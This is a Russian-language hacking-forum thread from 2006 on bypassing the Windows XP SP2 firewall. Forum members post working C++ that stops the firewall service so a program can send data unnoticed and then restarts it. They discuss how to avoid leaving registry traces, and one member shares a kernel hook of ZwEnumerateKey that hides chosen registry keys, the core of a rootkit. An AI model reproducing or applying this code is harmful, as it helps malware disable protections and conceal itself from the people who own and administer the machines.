Обход Xp Sp2 фаервола

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by KEZ, 2 Apr 2006.

  1. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    идите на***
     
    #1 KEZ, 2 Apr 2006
    Last edited: 19 Apr 2006
    1 person likes this.
  2. ac005

    ac005 Banned

    Joined:
    9 Feb 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    4e mne s etom delati?
     
  3. Fashion

    Fashion Elder - Старейшина

    Joined:
    31 Mar 2006
    Messages:
    28
    Likes Received:
    3
    Reputations:
    0
    и что с этим делать, подскажи?
     
  4. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Я для начала попробывал бы откомпилировать в MS Visual C++ 6.0
    Вдруг повезет?
     
  5. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    код прописывает прогу в список разрешенных файрволом, т.е оставляет "следы":
    [​IMG]

    А что если воспользоватся более "грубым" способом?
    Code:
    #include <winsvc.h>
    // ...
    bool BypassFirewall()
    {
    	SC_HANDLE firewallService, scm;
    	if(!(scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS))) 
    		return FALSE;
    	// в ХР интернальное имя файрвола SharedAccess
    	if (!(firewallService=OpenService(scm,"SharedAccess",SERVICE_ALL_ACCESS)))
    	{
    		CloseServiceHandle(scm);
    		return FALSE;
    	}
    	
    	// останавливаем сервис
    	SERVICE_STATUS m_SERVICE_STATUS;
    	ControlService(firewallService, SERVICE_CONTROL_STOP,&m_SERVICE_STATUS);
    
    	// далее дожен быть ваш код
    	// который работает в обход файрвола
    	// ...
    	// ...
    	
             // запускаем заново сервис
    	StartService(firewallService,0,NULL);
    
    	CloseServiceHandle(firewallService);
    	CloseServiceHandle(scm);
    	return TRUE;
    }
    естессно эти методы рабочие в случае если прога запущена с привилегиями администратора т.к нужны права для временой остановки/запуска сервиса (записи в реестр значений - в 1м методе)
     
    1 person likes this.
  6. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Deem3n®
    а втой способ следов не оставляет? ))
     
  7. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Угу))) незапустившегося сервиса чувак точно не заметит))
     
  8. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Хм...
    ну не знаю. я бы лишнюю запись в реестре наверно не заметил бы.
    Правда и маздаевский фаер не юзал бы ))
    Но все равно молодец.
     
  9. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    Сервис будет перезапущен (если ты код смотрел),
    а оставлять лишнюю запись в реестре имхо палено т.к в там и в правилах файрвола остается полный путь к экзешнику. Идеальным вариантом будет использование пары RegSetValueEx и RegDeleteKeyEx каждый раз когда данные должны посылаться в обход файрвола.

    ->
    я же предложил грубую альтернативу, это что провокационный вопрос или желание попинать ногами?
     
  10. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Кстати, а ты пробовал этод метод? У меня ощущение что если фаервол выключен, новые приложения доступ к сети не имееют...
    А если фаер был выключен? (DEMAND_START)
    Тогда StopService() вернет ошибку, а StartService его запустит.

    one more time
    ... у меня перехватывается ZwEnumerateValueKey в ядре, поэтому можно скрыть любые ключи в реестре ...
     
  11. Deem3n®

    Deem3n® RTFMSDN

    Joined:
    19 Sep 2005
    Messages:
    378
    Likes Received:
    153
    Reputations:
    164
    ну предварительно перед остановкой можно ретривнуть статус сервиса, и если SERVICE_RUNNING то StopService() дабы не вызывать ошибку
    3-й раз )) ну это у тебя, а у тех кто читает топик, нет ))
     
  12. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Code:
    WCHAR g_swRegHidePrefix[]  = L"KeyToHide1";
    WCHAR g_swRegHidePrefix2[] = L"KeyToHide2";
    
    NTSTATUS NewZwEnumerateKey(
        IN HANDLE KeyHandle,
        IN ULONG Index,
        IN KEY_INFORMATION_CLASS KeyInformationClass,
        OUT PVOID KeyInformation,
        IN ULONG Length,
        OUT PULONG ResultLength )
    {
    	KEY_BASIC_INFORMATION *kbi = NULL;
    	NTSTATUS ret;
    
    	ret = TrueZwEnumerateKey( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength );
    	if (!KeyInformationClass)
    	{
    		kbi = (KEY_BASIC_INFORMATION*)KeyInformation;
    		if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix[0], 18 ) == 18 )
    			ret = STATUS_NO_SUCH_FILE;
    		if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix2[0], 16 ) == 16 )
    			ret = STATUS_NO_SUCH_FILE;
    	}
    	return ret;	
    }
    
    Ядро экспортирует указатель на SST, таблицу, в которой храняться адреса системных вызовов ядра.
    API юзера выполняет какие-то действия обращается к Native-API юзера (ZwOpenKey или NtOpenKey, и т.п.),
    а они-просто содержат код int 0x2e (в xp-sysenter), и управление передается обработчику прерывания 0x2e - ф-ии KiSystemService. В eax должен быть номер сис. вызова, а в edx (как я помню) - указатель на парамерты... Почти как в Unix... Только там во все регистры заносятся параметры или указатели.
     
    #12 KEZ, 3 Apr 2006
    Last edited: 3 Apr 2006
  13. ac005

    ac005 Banned

    Joined:
    9 Feb 2006
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    это код c++????
     
  14. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    нет, это код к дверям в подъезде